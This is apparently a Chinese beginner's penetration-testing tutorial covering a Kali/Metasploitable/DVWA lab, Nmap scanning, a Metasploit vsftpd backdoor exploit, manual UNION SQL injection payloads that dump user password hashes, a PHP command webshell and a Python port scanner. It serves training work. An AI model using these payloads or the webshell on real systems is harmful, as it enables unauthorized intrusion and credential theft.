零基础网络安全入门：从环境搭建到实战渗透的完整学习路径

网络安全入门渗透测试SQL注入

于 2026-08-02 04:26:40 修改

·本内容遵循CC 4.0 BY-SA版权协议

想学网络安全，但不知道从哪开始？

这可能是所有想进入这个领域的人，最真实、也最普遍的困惑。你或许看过很多“零基础速成”、“七天变大神”的标题，收藏夹里塞满了各种“最全教程”，但真正打开电脑准备动手时，面对的却是虚拟机、Linux命令、Python脚本、网络协议、漏洞原理……一堆陌生的名词和工具，瞬间就劝退了。

这篇文章，我们不谈“速成”，也不承诺“七天变大神”。我们要解决一个更实际的问题：对于一个真正的零基础学习者，如何构建一条清晰、可行、不跑偏的网络安全入门路径？ 那些动辄几百集的“最全教程”固然信息量大，但如果没有一条主线把它们串联起来，很容易陷入“看了一堆，啥也不会”的困境。

本文将为你拆解一套从“知道”到“做到”的网络安全学习框架。你会看到，网络安全的学习不是线性地看完所有视频，而是围绕几个核心能力圈层层展开。我们将从环境搭建、基础技能、核心领域、实战提升四个阶段，手把手带你走完入门到能独立完成基础渗透测试的全过程，并提供完整的工具清单、代码示例和避坑指南。

1. 这篇文章真正要解决的问题：告别无效收藏，建立可执行的学习体系

网络安全领域的信息爆炸式增长，带来了一个典型的学习悖论：资源越多，初学者越迷茫。B站、CSDN、GitHub上充斥着海量的“零基础入门”、“全套教程”，但很多学习者反馈，跟着学完之后，除了记住几个工具名字和命令，依然不知道如何下手分析一个真实的网络环境，或者解决一个具体的安全问题。

问题的核心在于，大多数教程只提供了“知识点”的罗列，却没有构建“知识体系”和“问题解决能力”。网络安全是一门高度实践性的工程学科，其学习路径应该像学游泳一样，先在水浅的地方练习基本动作（环境与工具），再学习不同的泳姿（Web安全、系统安全等），最后才是到开放水域应对风浪（CTF、实战演练）。

本文旨在解决以下三个关键痛点：

路径模糊：面对操作系统、编程、网络、安全等多个维度，不知从何学起，先学哪个后学哪个。
实践脱节：看了很多漏洞原理，但不知道如何搭建靶场环境去复现，或者复现了也不知道下一步该干嘛。
目标缺失：学习过程没有反馈和成就感，容易半途而废，不清楚学到什么程度可以尝试求职或接一些基础项目。

我们的目标是，让你在阅读和实践完本文的指导后，能够：

在自己的电脑上搭建一个完整的、隔离的网络安全学习环境（虚拟机+靶场）。
理解并熟练使用至少10个核心的安全工具（如Nmap, Burp Suite, SQLmap等）。
独立完成对一个模拟Web应用（如DVWA）从信息收集到漏洞利用的完整渗透测试流程。
建立持续学习和深入某个细分领域（如Web安全、内网渗透）的自学能力。

2. 网络安全学什么？核心能力圈与学习地图

在跳进具体的技术细节之前，我们需要一张地图。网络安全领域广阔，但入门阶段的核心能力可以概括为四个同心圆层，从内到外依次是：计算环境、网络基础、安全核心、实战领域。

TEXT

[核心能力圈示意图（文字描述）]

最内层：计算环境 (操作系统、虚拟机、编程基础)

第二层：网络基础 (TCP/IP协议、HTTP/HTTPS、网络设备)

第三层：安全核心 (漏洞原理、安全工具、渗透测试方法论)

最外层：实战领域 (Web安全、系统安全、CTF、安全开发等)

第一层：计算环境 这是所有技术的运行基础。你需要熟悉至少一个操作系统的使用（推荐Linux，如Kali Linux或Ubuntu），了解文件系统、进程管理、权限控制等概念。同时，必须掌握虚拟化技术（如VMware或VirtualBox），用于搭建安全的实验环境，避免对宿主机造成影响。编程方面，Python是网络安全领域的“瑞士军刀”，用于编写自动化脚本、漏洞利用工具等，Shell脚本（Bash）用于高效管理系统和任务。

第二层：网络基础 网络是安全攻防的主战场。你必须理解TCP/IP模型、IP地址、端口、子网等概念。重点掌握HTTP/HTTPS协议，因为Web安全是当前最主要的战场。要能读懂HTTP请求和响应，理解Cookie、Session、各种请求方法（GET, POST）的意义。这部分知识是理解后续所有Web漏洞的基础。

第三层：安全核心 这是安全专业的“专业课”。包括：

漏洞原理：理解漏洞是如何产生的，例如缓冲区溢出、SQL注入、XSS、CSRF等。
安全工具：学习使用扫描器（Nmap）、代理工具（Burp Suite）、漏洞利用框架（Metasploit）、密码破解工具（Hashcat）等。
渗透测试方法论：掌握标准的测试流程，如PTES（渗透测试执行标准）或OWASP测试指南，通常包括：信息收集、漏洞扫描、漏洞利用、权限提升、内网渗透、报告编写。

第四层：实战领域 在掌握了核心能力后，你可以选择一个方向深入：

Web安全：专注于网站和Web应用的安全，研究OWASP Top 10漏洞。
系统安全：专注于操作系统、数据库、中间件等的安全配置与漏洞。
内网渗透：研究企业内网环境下的横向移动、权限维持等技术。
CTF竞赛：通过解题赛（Jeopardy）或攻防赛（AWD）快速提升实战能力。
安全开发：学习开发安全代码，或编写自己的安全工具。

对于零基础者，正确的学习顺序是从内层向外层逐步推进，切忌直接跳到最外层去啃复杂的漏洞利用。

3. 环境准备：搭建你的第一个安全实验室

理论说得再多，不如动手一试。第一步，我们建立一个与真实物理环境隔离的“安全实验室”。这能让你放心地进行各种攻击实验，而不用担心搞坏自己的电脑或触犯法律。

3.1 虚拟机安装（以VMware Workstation Player为例）

虚拟机是创建隔离环境的基石。VMware Player是个人免费使用的优秀选择。

下载：访问VMware官网，下载适用于你操作系统（Windows/Linux）的VMware Workstation Player安装包。
安装：运行安装程序，基本上一路“Next”即可。安装完成后需要重启电脑。
验证安装：打开VMware Player，如果能看到主界面，说明安装成功。

3.2 获取攻击者系统：Kali Linux

Kali Linux是渗透测试和安全审计的行业标准发行版，预装了数百种安全工具。

下载镜像：访问Kali Linux官网，下载适用于VMware的预构建虚拟机镜像（.7z文件）。这是最方便的方式，解压后即可导入。
解压与导入：使用7-Zip等工具解压下载的压缩包。在VMware Player中，点击“打开虚拟机”，选择解压后得到的.vmx文件。
启动与登录：导入后，启动虚拟机。默认用户名是kali，密码也是kali。

首次启动后建议操作：

BASH

# 更新系统软件包列表

sudo apt update

# 升级所有已安装的软件包（可选，但建议）

sudo apt upgrade -y

# 安装增强工具（实现宿主机和虚拟机间文件拖拽、屏幕自适应等）

# 首先在VMware菜单栏点击：虚拟机 -> 安装VMware Tools

# 然后在Kali虚拟机内执行：

sudo mount /dev/cdrom /mnt

cd /mnt

sudo cp VMwareTools-*.tar.gz /tmp

cd /tmp

sudo tar -xzf VMwareTools-*.tar.gz

cd vmware-tools-distrib

sudo ./vmware-install.pl -d # -d 参数接受所有默认选项

安装完成后重启虚拟机：sudo reboot。

3.3 获取目标系统：Metasploitable 2

我们需要一个充满漏洞的“靶子”来练习。Metasploitable 2是一个故意配置了多种漏洞的Linux虚拟机。

下载：从SourceForge等可信源下载Metasploitable 2的镜像文件（通常是一个.zip包，内含.vmdk等文件）。
配置虚拟机：在VMware Player中，选择“创建新虚拟机” -> “自定义” -> 操作系统选择“Linux”，版本选“Ubuntu”（或Other Linux 2.6.x kernel）-> 内存分配512MB或1GB足够 -> 网络连接选择“NAT模式”（保证和Kali在同一虚拟网络）-> 磁盘选择“使用现有虚拟磁盘”，然后指向你解压出来的.vmdk文件。
启动与登录：启动Metasploitable 2。默认用户名是msfadmin，密码也是msfadmin。重要：这个系统极度不安全，永远不要将其连接到互联网或公司内网！

现在，你的实验环境已经就绪：Kali Linux（攻击机）和 Metasploitable 2（靶机）运行在同一个虚拟网络中。

4. 第一阶段：从零到一，掌握核心工具与流程

有了实验室，我们开始学习最核心、最常用的工具和标准流程。这个阶段的目标是“跑通一个完整的、最小化的渗透测试流程”。

4.1 信息收集 - Nmap

信息收集是渗透测试的第一步，目标是尽可能多地发现目标系统的信息。Nmap是网络发现的“王者”。

场景：我们想知道靶机Metasploitable 2上开放了哪些端口，运行着什么服务。

首先，在Kali Linux中，打开终端，找出靶机的IP地址。在Metasploitable 2的终端里输入ifconfig，查看其IP（例如192.168.xxx.xxx）。假设我们找到的IP是192.168.1.105。

回到Kali终端，进行扫描：

BASH

# 基础扫描：探测主机是否在线，并扫描最常用的1000个端口

sudo nmap 192.168.1.105

# 输出示例：

# Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-05-27 10:00 CST

# Nmap scan report for 192.168.1.105

# Host is up (0.00047s latency).

# Not shown: 977 closed ports

# PORT STATE SERVICE VERSION

# 21/tcp open ftp vsftpd 2.3.4

# 22/tcp open ssh OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)

# 23/tcp open telnet Linux telnetd

# 25/tcp open smtp Postfix smtpd

# ... (更多端口)

# 80/tcp open http Apache httpd 2.2.8 ((Ubuntu) DAV/2)

# 3306/tcp open mysql MySQL 5.0.51a-3ubuntu5

# 5432/tcp open postgresql PostgreSQL DB 8.3.0 - 8.3.7

# 更详细的扫描：探测服务版本和操作系统

sudo nmap -sV -O 192.168.1.105

# 全面扫描：扫描所有65535个端口，使用更激进的探测方式（速度慢）

sudo nmap -p- -A -T4 192.168.1.105

从结果中，我们立刻发现了很多有趣的服务：FTP (21), SSH (22), Telnet (23), HTTP (80), MySQL (3306)等，并且看到了具体的版本号。这些版本信息是后续寻找漏洞的关键。

4.2 漏洞扫描与利用 - Metasploit Framework

发现了服务和版本，下一步就是寻找已知的漏洞。Metasploit是一个强大的漏洞利用框架，它集成了大量的漏洞利用模块（exploit）、攻击载荷（payload）和辅助模块。

场景：我们尝试利用Metasploitable 2上那个古老的、存在后门漏洞的VSFTPD 2.3.4服务。

在Kali终端中启动Metasploit控制台：

BASH

sudo msfconsole

等待进入msf6 >提示符。

BASH

# 1. 搜索与vsftpd 2.3.4相关的漏洞利用模块

msf6 > search vsftpd 2.3.4

# 输出会显示一个名为`exploit/unix/ftp/vsftpd_234_backdoor`的模块

# 2. 使用这个漏洞利用模块

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor

# 3. 查看需要设置的参数

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

# 4. 设置目标主机（RHOSTS）参数。注意，这里用的是靶机的IP。

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.1.105

# 5. 运行漏洞利用

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > run

# 如果成功，你会看到类似下面的输出，并获得一个命令行shell（cmd/unix/interact）

# [+] 192.168.1.105:21 - Banner: 220 (vsFTPd 2.3.4)

# [+] 192.168.1.105:21 - USER: 331 Please specify the password.

# [+] 192.168.1.105:21 - Backdoor service has been spawned, handling...

# [+] 192.168.1.105:21 - UID: uid=0(root) gid=0(root)

# [*] Found shell.

# [*] Command shell session 1 opened (192.168.1.100:44444 -> 192.168.1.105:47418)

# 现在你已经在靶机上获得了root权限的shell！可以执行命令了。

# meterpreter > whoami

# root

# meterpreter > pwd

# /

恭喜！ 你完成了第一次成功的漏洞利用。这演示了从信息收集到利用的完整链条。请记住，在真实环境中，未经授权的此类行为是违法的。

4.3 Web漏洞实战 - DVWA + Burp Suite

Web安全是重中之重。我们使用DVWA（Damn Vulnerable Web Application）作为靶场，配合Burp Suite这个“Web安全工程师的瑞士军刀”进行实战。

4.3.1 搭建DVWA DVWA已经预装在Metasploitable 2中。在Kali的浏览器中访问 http://192.168.1.105/dvwa/。首次登录需要点击“Create / Reset Database”按钮初始化数据库。默认登录账号admin，密码password。登录后，在左侧“DVWA Security”中可以将安全等级设为“Low”，方便练习。

4.3.2 配置Burp Suite代理 Burp Suite用于拦截、查看和修改浏览器与服务器之间的HTTP/HTTPS流量。

启动Burp：在Kali中，可以在终端输入burpsuite启动，或者从应用菜单找到。
配置浏览器代理：在Kali自带的Firefox浏览器中，进入设置 -> 网络设置 -> 手动代理配置。HTTP代理填127.0.0.1，端口填8080。勾选“也为HTTPS使用此代理”。
安装Burp CA证书：为了拦截HTTPS流量，需要在浏览器中安装Burp的CA证书。访问 http://burp/，点击“CA Certificate”下载证书。然后在Firefox设置中搜索“证书”，导入该证书，并信任它用于标识网站。
开启拦截：在Burp的“Proxy” -> “Intercept”标签页，确保“Intercept is on”按钮是按下状态。

4.3.3 实战：手工SQL注入 在DVWA中，将安全级别设为“Low”，然后进入“SQL Injection”页面。

正常测试：在输入框输入1，点击提交。Burp会拦截到这个请求。你可以将其发送到“Repeater”模块进行详细分析。
漏洞探测：在Repeater中，修改id参数的值，尝试注入一个永真条件。将 id=1 修改为：

TEXT

id=1' or '1'='1

点击“Send”，观察响应。如果返回了所有用户数据，说明存在字符型SQL注入漏洞。
获取信息：尝试使用联合查询（UNION）来获取数据库信息。首先需要判断列数：

TEXT

id=1' order by 1-- -

id=1' order by 2-- -

...

当order by 3报错时，说明有2列。然后使用：

TEXT

id=-1' union select 1, database()-- -

响应中会显示当前数据库名（通常是dvwa）。
获取表名：

TEXT

id=-1' union select 1, group_concat(table_name) from information_schema.tables where table_schema=database()-- -

可能会看到users, guestbook等表名。
获取用户表数据：

TEXT

id=-1' union select user, password from users-- -

你会看到用户名和经过MD5哈希的密码。

这个过程让你亲身体验了如何手工发现并利用一个SQL注入漏洞。Burp Suite的Repeater和Intruder模块（用于自动化爆破）是进行此类测试的利器。

5. 第二阶段：技能深化，从工具使用者到问题解决者

掌握了基本流程后，你需要深化对漏洞原理的理解，并学习编写简单的自动化脚本。

5.1 理解漏洞原理：以SQL注入为例

仅仅会使用工具是不够的。你需要明白为什么1' or '1'='1能起作用。假设后端PHP代码是这样的：

PHP

// DVWA Low级别的SQL注入源码

$id = $_REQUEST['id'];

$getid = "SELECT first_name, last_name FROM users WHERE user_id = '$id'";

$result = mysqli_query($GLOBALS["___mysqli_ston"], $getid);

当你输入1' or '1'='1时，拼接后的SQL语句变成了：

SQL

SELECT first_name, last_name FROM users WHERE user_id = '1' or '1'='1'

WHERE条件变成了“user_id等于1” 或者 “'1'='1'永远为真”。这个“或”逻辑导致条件永远成立，因此返回了所有用户数据。理解了这个，你才能举一反三，应对更复杂的注入场景。

5.2 编写第一个安全脚本：Python端口扫描器

虽然Nmap很强大，但自己写一个简单的端口扫描器能加深对网络编程和并发理解。

PYTHON

# !/usr/bin/env python3

# 文件：simple_scanner.py

import socket

import threading

from queue import Queue

import time

# 目标IP和端口范围

target = '192.168.1.105' # 替换为你的靶机IP

start_port = 1

end_port = 1024

# 创建一个队列来存放端口

queue = Queue()

open_ports = []

def port_scan(port):

"""尝试连接指定端口"""

try:

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

sock.settimeout(1) # 设置超时1秒

result = sock.connect_ex((target, port))

if result == 0:

print(f"[+] Port {port} is OPEN")

open_ports.append(port)

sock.close()

except Exception as e:

pass

def worker():

"""从队列中获取端口并进行扫描"""

while not queue.empty():

port = queue.get()

port_scan(port)

queue.task_done()

def main():

print(f"Scanning target: {target}")

start_time = time.time()

# 将端口放入队列

for port in range(start_port, end_port + 1):

queue.put(port)

# 创建并启动线程

thread_list = []

for _ in range(100): # 使用100个线程并发

thread = threading.Thread(target=worker)

thread_list.append(thread)

thread.start()

# 等待所有线程完成

for thread in thread_list:

thread.join()

queue.join()

# 输出总结

print(f"\nScan completed in {time.time() - start_time:.2f} seconds")

if open_ports:

print(f"Open ports: {sorted(open_ports)}")

else:

print("No open ports found in the specified range.")

if __name__ == "__main__":

main()

运行：

BASH

python3 simple_scanner.py

这个脚本使用了多线程来加速扫描。通过编写这样的工具，你会对socket编程、TCP三次握手、超时处理、并发控制有更深刻的认识，这是迈向安全开发的重要一步。

6. 第三阶段：构建知识体系与实战演练

当你能熟练完成基础流程后，就需要系统性地构建知识体系，并通过更复杂的靶场和CTF题目来巩固。

6.1 系统学习路线图

以下是一个建议的、按周划分的深入学习计划表：

阶段	周期	学习重点	实践目标	推荐资源/靶场
基础夯实	第1-2周	Linux基础命令、Python语法、网络TCP/IP/HTTP	熟练使用Kali，能写简单网络脚本	OverTheWire Bandit (游戏化学Linux命令)
工具精通	第3-4周	Nmap, Burp Suite, Metasploit, John the Ripper	独立完成对Metasploitable 2的全面扫描和3个漏洞利用	Metasploitable 2, DVWA
Web安全核心	第5-8周	OWASP Top 10 (SQLi, XSS, CSRF, 文件上传等)	在DVWA中手工完成所有Low级别漏洞利用	DVWA, bWAPP, WebGoat
内网入门	第9-10周	横向移动概念、Windows/Linux权限提升基础	在模拟内网靶机中获取一台机器的权限并尝试探索	HackTheBox (Easy级别机器), VulnHub
CTF入门	第11-12周	CTF常见题型 (Web, Crypto, Pwn, Reverse)	能独立解出CTFtime上新赛的简单题目	CTFlearn, PicoCTF

6.2 从靶场到实战：以文件上传漏洞为例

在DVWA的“File Upload”页面（Low级别），我们可以上传一个PHP Webshell来获取服务器控制权。

编写Webshell：在Kali中创建一个简单的PHP文件shell.php。

PHP

<?php

if(isset($_REQUEST['cmd'])) {

system($_REQUEST['cmd']);

}

?>

这个脚本会执行通过cmd参数传递的系统命令。
上传Webshell：在DVWA文件上传页面，选择这个shell.php文件上传。由于Low级别没有过滤，上传会成功，并返回文件路径，例如：hackable/uploads/shell.php。
访问并利用：在浏览器中访问 http://192.168.1.105/dvwa/hackable/uploads/shell.php?cmd=id。页面会返回Linux命令id的执行结果，显示当前Web服务的用户（如www-data）。
尝试权限提升：这是一个更高级的话题。你可以尝试利用系统内核漏洞或错误配置来将权限从www-data提升到root。例如，使用searchsploit在Kali上搜索Linux内核漏洞，编译利用程序，上传并执行。注意：在真实环境中，提权需要非常谨慎，并严格遵守授权范围。

6.3 参与CTF竞赛

CTF是检验和提升技能的最佳途径之一。可以从解题平台开始：

注册平台：访问CTFlearn或PicoCTF网站注册账号。
选择题目：从“Web”或“Forensics”类别的简单题开始。
解题流程：通常包括：阅读题目描述 -> 下载附件或访问链接 -> 使用工具（如Burp, binwalk, steghide）或编写脚本分析 -> 找到隐藏的Flag（通常格式为flag{...}） -> 提交。
学习Writeup：如果做不出来，一定要去看别人的解题报告（Writeup），学习其中的思路和工具用法。

7. 常见问题与排查思路

在学习过程中，你一定会遇到各种问题。下表汇总了典型问题及解决方法：

问题现象	可能原因	排查方式	解决方案
虚拟机无法联网	网络适配器配置错误；防火墙阻止	检查VMware网络设置（NAT/桥接）；在虚拟机内`ping 8.8.8.8`	将网络连接改为NAT模式；关闭宿主机的防火墙（实验环境）
Kali中`sudo`命令报错	默认`kali`用户不在sudoers文件	使用`su -`切换到root（密码kali），然后编辑`/etc/sudoers`	在root下执行`usermod -aG sudo kali`，然后重启
Metasploit exploit执行失败	目标服务未运行；payload不兼容；网络不通	使用`nmap`确认目标端口开放；`show payloads`查看可用payload；检查防火墙规则	确保靶机服务启动；尝试不同的payload（如`set payload cmd/unix/reverse_bash`）
Burp Suite无法拦截HTTPS流量	浏览器未正确安装/信任Burp CA证书	访问`http://burp/`重新下载证书；在浏览器证书管理器检查	确保证书已安装并信任；Firefox可尝试在`about:config`中设置`network.certificate_override`
DVWA页面显示“数据库连接错误”	MySQL服务未启动；`dvwa`数据库未创建	在Metasploitable 2中执行`sudo service mysql status`；登录MySQL检查数据库	启动服务：`sudo service mysql start`；访问DVWA首页点击“Create/Reset DB”
Python脚本运行报编码或语法错误	Python版本问题（2 vs 3）；文件编码非UTF-8	终端输入`python --version`；检查脚本第一行shebang和编码声明	使用`python3`命令运行；在脚本开头加`# -- coding: utf-8 --`
扫描或攻击速度极慢	网络延迟；工具默认配置保守；防火墙干扰	使用`ping`测试延迟；检查工具的超时（timeout）参数设置	调整工具参数（如Nmap的`-T4`加速）；确保实验环境纯净

8. 最佳实践与工程建议

当你从实验室走向更严肃的学习或模拟项目时，请遵循以下原则：

法律与道德底线：永远只在你自己拥有完全控制权的环境（本地虚拟机、授权靶场、CTF平台）进行安全测试。未经明确书面授权，对任何其他系统进行扫描、探测或攻击都是非法的。
文档化与记录：养成做笔记的习惯。使用Markdown或笔记软件记录每个实验的步骤、命令、结果和思考。这不仅是学习过程的复盘，未来也会成为你的知识库和求职作品集。
版本控制：使用Git管理你自己的脚本、配置和笔记。创建一个GitHub仓库（注意不要上传敏感信息如密码、密钥），这能展示你的学习轨迹和代码能力。
理解优于工具：工具是能力的放大器，不是能力的替代品。每用一个新工具，尝试理解它背后做了什么。例如，用Wireshark抓包看看Nmap发送了什么样的数据包。
加入社区：关注安全社区（如FreeBuf、安全客）、订阅漏洞公告（如CVE Details）、Follow一些安全研究员（如@tiraniddo, @hacks4pancakes）。参与讨论，阅读高质量的Writeup。
构建知识体系：不要满足于复现漏洞。针对每个漏洞（如SQL注入），去了解其在不同语言（PHP, Java, .NET）、不同数据库（MySQL, PostgreSQL, MSSQL）下的表现和防御方法。
从攻击到防御：真正的安全专家必须懂防御。在学会如何攻击后，一定要去学习如何修复和防御这些漏洞。阅读OWASP防护手册、学习安全编码规范。
准备简历与项目：当你掌握了Web安全基础、能独立解决CTF中等难度题目、并对内网安全有初步了解后，就可以开始整理你的“实战经验”。将你在DVWA、VulnHub或HTB上的攻克过程写成详细的报告，这就是你最好的项目经验。

网络安全的学习是一场马拉松，而不是百米冲刺。所谓的“七天大神”只是营销话术，真正的能力来源于对每个技术细节的扎实理解、成千上万次的实验和不断解决新问题的过程。本文为你提供了一张详细的地图和起步工具，但路上的风景和挑战，需要你亲自去体验和征服。现在，打开你的虚拟机，从扫描第一个IP地址开始吧。